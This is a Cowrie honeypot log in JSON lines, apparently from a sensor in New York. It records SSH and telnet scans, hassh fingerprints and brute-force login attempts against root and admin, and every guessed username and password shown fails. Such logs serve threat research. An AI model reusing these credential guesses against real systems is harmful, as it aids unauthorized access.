{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:61:9a:e8:88:19:cf:89:75:df:1a:f2:1b:09:f9:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDz+9GeXhOG5PhfxQGZ4QCNtPzcjkvdmI+wNhe4L3vXk4XId1M/2XI4J3ohGNFUrUFC3ynsyWSkfPb8wRTFUvXDPH3Z/87LsGw6qUblJ1NUtBOYr48DZf4o/arBLIZIPkfMP9vqWHT5soyB6q3KPfq1Isg/YvoojicJkshTi9OkIjtwvomOndT95bZotAkCUA/BkGmGLc477l28rjlEM8SmxjqZvmxsjkbmVc2JyRIL0nOW4cshHC6m1FFr0iM/9teBfolZMGFPR9WP/9rm7OAEx4Rs1hQuXwOpei6Sj+OzlhINotfrwFxrcjWTqS0xcDm7POFOAlvv6xLHuSD0Hjix3YdS87JCcS7lOtaTAK13lPaLkV9ngO7jKQXEAJ6b1gksnOpOgihffKhCacAHWawLSFKPhxrIaMQBGAMwK66ko6jZeYfBrioeJGH/WrI7/ZrBRUwcadXBiVUdF2yG8N5uUmd6Rqt2TwhDYwMozT77d3YAjjs/BYU3/B21HYTVFoHxtxL0ECeczymwH2dhmU1AP17aH2GY7agFtWbUm1DmZIMYyo/G6m+0BbmS5MM2SWiVsCo0BrBuWE2KTZVVDDrogg4uY6Efbk34RP9x17J95OcbjKAxKLWEe4So5YbSyFA34ORVome9uwC7wbhU2m4CpMiM3PQ3nVpfzzro3U3w/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:61:9a:e8:88:19:cf:89:75:df:1a:f2:1b:09:f9:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.690339Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:61:9a:e8:88:19:cf:89:75:df:1a:f2:1b:09:f9:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDz+9GeXhOG5PhfxQGZ4QCNtPzcjkvdmI+wNhe4L3vXk4XId1M/2XI4J3ohGNFUrUFC3ynsyWSkfPb8wRTFUvXDPH3Z/87LsGw6qUblJ1NUtBOYr48DZf4o/arBLIZIPkfMP9vqWHT5soyB6q3KPfq1Isg/YvoojicJkshTi9OkIjtwvomOndT95bZotAkCUA/BkGmGLc477l28rjlEM8SmxjqZvmxsjkbmVc2JyRIL0nOW4cshHC6m1FFr0iM/9teBfolZMGFPR9WP/9rm7OAEx4Rs1hQuXwOpei6Sj+OzlhINotfrwFxrcjWTqS0xcDm7POFOAlvv6xLHuSD0Hjix3YdS87JCcS7lOtaTAK13lPaLkV9ngO7jKQXEAJ6b1gksnOpOgihffKhCacAHWawLSFKPhxrIaMQBGAMwK66ko6jZeYfBrioeJGH/WrI7/ZrBRUwcadXBiVUdF2yG8N5uUmd6Rqt2TwhDYwMozT77d3YAjjs/BYU3/B21HYTVFoHxtxL0ECeczymwH2dhmU1AP17aH2GY7agFtWbUm1DmZIMYyo/G6m+0BbmS5MM2SWiVsCo0BrBuWE2KTZVVDDrogg4uY6Efbk34RP9x17J95OcbjKAxKLWEe4So5YbSyFA34ORVome9uwC7wbhU2m4CpMiM3PQ3nVpfzzro3U3w/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.694403Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:2b:72:d0:4d:e6:2f:9a:26:94:d4:b5:9a:be:c2:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSmoH0OtijJHGC3KL4aZPlbXjVRzEc3qfQyg8N20oAbXlJFrS54apych/fN9DlUPoDH0GWbUTnlBSvehk5/iz3p46SV01wspSfxfL16f0GpdLSGj87xli/6TK8WNFpW3CiaQVEA4edgJBq4ucWxtpgE1p7YnJsG7TGEpm44F9vOXiYTaadOepyYs3A4bdNtrZfwvw50QVoOrDnkfde9/AfGlSmzAd0BWWN3hDo12uC3m19UR3TwLSdZU3uO6eX2R/0sjiNRSx/KSqL459dl1xuEgwrFWPUxTOjIx6fQ67Jaikfm5GFLlI6hZsyzDGcrFGE9CuaYRjDiofOsPVo8PLAc+8BrV3kzulIrgxJg7o3opATTLdHaO+MNDy4MJhEs2qr/Rn/CCi+TlnQbxe4V+8wDrq0GyXhYigGUwxhKf1riSGjEAli7OJyiEqsbPaXbyTSrnpgHxFRVnkEiS/RFcQAazqVIiwwRMGqzAQEm+sGxSfKYVnFTbhx3swTQo/3XoCjT+KDho4AmZnvhQlgcmm9gHXIKrkWWmAeDsT0oywCeEhj8kscS77ppmOHPz3mMSoLqo7XiBXGJ6sAHqqIyhiaq8UB5IxL71q8ddKWjmnWmkJMXpWxIuq5RtwRFqFF9M1UzSlABDYcgQC3G06D98Pq5JRR11neF3jrjDTTqRyoTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:2b:72:d0:4d:e6:2f:9a:26:94:d4:b5:9a:be:c2:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.777934Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:2b:72:d0:4d:e6:2f:9a:26:94:d4:b5:9a:be:c2:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSmoH0OtijJHGC3KL4aZPlbXjVRzEc3qfQyg8N20oAbXlJFrS54apych/fN9DlUPoDH0GWbUTnlBSvehk5/iz3p46SV01wspSfxfL16f0GpdLSGj87xli/6TK8WNFpW3CiaQVEA4edgJBq4ucWxtpgE1p7YnJsG7TGEpm44F9vOXiYTaadOepyYs3A4bdNtrZfwvw50QVoOrDnkfde9/AfGlSmzAd0BWWN3hDo12uC3m19UR3TwLSdZU3uO6eX2R/0sjiNRSx/KSqL459dl1xuEgwrFWPUxTOjIx6fQ67Jaikfm5GFLlI6hZsyzDGcrFGE9CuaYRjDiofOsPVo8PLAc+8BrV3kzulIrgxJg7o3opATTLdHaO+MNDy4MJhEs2qr/Rn/CCi+TlnQbxe4V+8wDrq0GyXhYigGUwxhKf1riSGjEAli7OJyiEqsbPaXbyTSrnpgHxFRVnkEiS/RFcQAazqVIiwwRMGqzAQEm+sGxSfKYVnFTbhx3swTQo/3XoCjT+KDho4AmZnvhQlgcmm9gHXIKrkWWmAeDsT0oywCeEhj8kscS77ppmOHPz3mMSoLqo7XiBXGJ6sAHqqIyhiaq8UB5IxL71q8ddKWjmnWmkJMXpWxIuq5RtwRFqFF9M1UzSlABDYcgQC3G06D98Pq5JRR11neF3jrjDTTqRyoTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.783520Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.880407Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258369.","message":"login attempt [root/Aa147258369.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.974758Z","src_ip":"103.15.226.202","session":"61d6230ec56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:38.230205Z","src_ip":"103.15.226.202","session":"61d6230ec56a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00998282432556,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:46.986604Z","src_ip":"212.55.149.117","session":"67322602df8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29078,"dst_ip":"159.203.135.109","dst_port":22,"session":"78ea31389093","protocol":"ssh","message":"New connection: 194.59.206.2:29078 (159.203.135.109:22) [session: 78ea31389093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:22:17.336937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:22:17.342682Z","src_ip":"194.59.206.2","session":"78ea31389093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:22:17.428858Z","src_ip":"194.59.206.2","session":"78ea31389093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:22:17.519724Z","src_ip":"194.59.206.2","session":"78ea31389093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.4583899974823,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:22:24.827295Z","src_ip":"212.55.149.117","session":"579e0b18b104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14189,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d97491592b3","protocol":"telnet","message":"New connection: 212.55.149.117:14189 (10.17.0.5:23) [session: 8d97491592b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:09.970353Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51928,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f575a89025d","protocol":"ssh","message":"New connection: 193.32.162.145:51928 (10.17.0.5:22) [session: 7f575a89025d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:41.185503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:41.193713Z","src_ip":"193.32.162.145","session":"7f575a89025d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:41.298875Z","src_ip":"193.32.162.145","session":"7f575a89025d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:41.628141Z","src_ip":"193.32.162.145","session":"7f575a89025d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:42.738536Z","src_ip":"193.32.162.145","session":"7f575a89025d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"21ecdabc5c1e","protocol":"ssh","message":"New connection: 2.57.121.112:39722 (10.17.0.5:22) [session: 21ecdabc5c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:46.708013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:46.713601Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:46.809696Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pimmel","message":"login attempt [admin/pimmel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:47.265931Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pilar","message":"login attempt [admin/pilar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:48.364556Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"piggys","message":"login attempt [admin/piggys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:49.463609Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pi3141","message":"login attempt [admin/pi3141] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:50.566073Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"phone1","message":"login attempt [admin/phone1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:51.665328Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:23:52.764009Z","src_ip":"2.57.121.112","session":"21ecdabc5c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.80071520805359,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:24:10.770932Z","src_ip":"212.55.149.117","session":"8d97491592b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.156","src_port":65352,"dst_ip":"159.203.135.109","dst_port":22,"session":"972e4f5696a4","protocol":"ssh","message":"New connection: 147.185.132.156:65352 (159.203.135.109:22) [session: 972e4f5696a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:14.046599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:15.290025Z","src_ip":"147.185.132.156","session":"972e4f5696a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:16.281690Z","src_ip":"147.185.132.156","session":"972e4f5696a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36770,"dst_ip":"10.17.0.5","dst_port":22,"session":"357dec224798","protocol":"ssh","message":"New connection: 103.15.226.202:36770 (10.17.0.5:22) [session: 357dec224798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:19.205449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:19.210893Z","src_ip":"103.15.226.202","session":"357dec224798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:19.449933Z","src_ip":"103.15.226.202","session":"357dec224798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Dmin123","message":"login attempt [root/@Dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:20.168961Z","src_ip":"103.15.226.202","session":"357dec224798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:23.162389Z","src_ip":"103.15.226.202","session":"357dec224798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:23.703756Z","src_ip":"147.185.132.156","session":"972e4f5696a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50771,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ba66f37d98","protocol":"telnet","message":"New connection: 212.55.149.117:50771 (10.17.0.5:23) [session: 24ba66f37d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:24.141454Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.121.94.110","src_port":48147,"dst_ip":"159.203.135.109","dst_port":23,"session":"b38d81c1090a","protocol":"telnet","message":"New connection: 121.121.94.110:48147 (159.203.135.109:23) [session: b38d81c1090a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:34.853004Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43290,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d8c74c06ee","protocol":"ssh","message":"New connection: 193.32.162.145:43290 (10.17.0.5:22) [session: 51d8c74c06ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:25:44.885800Z"}
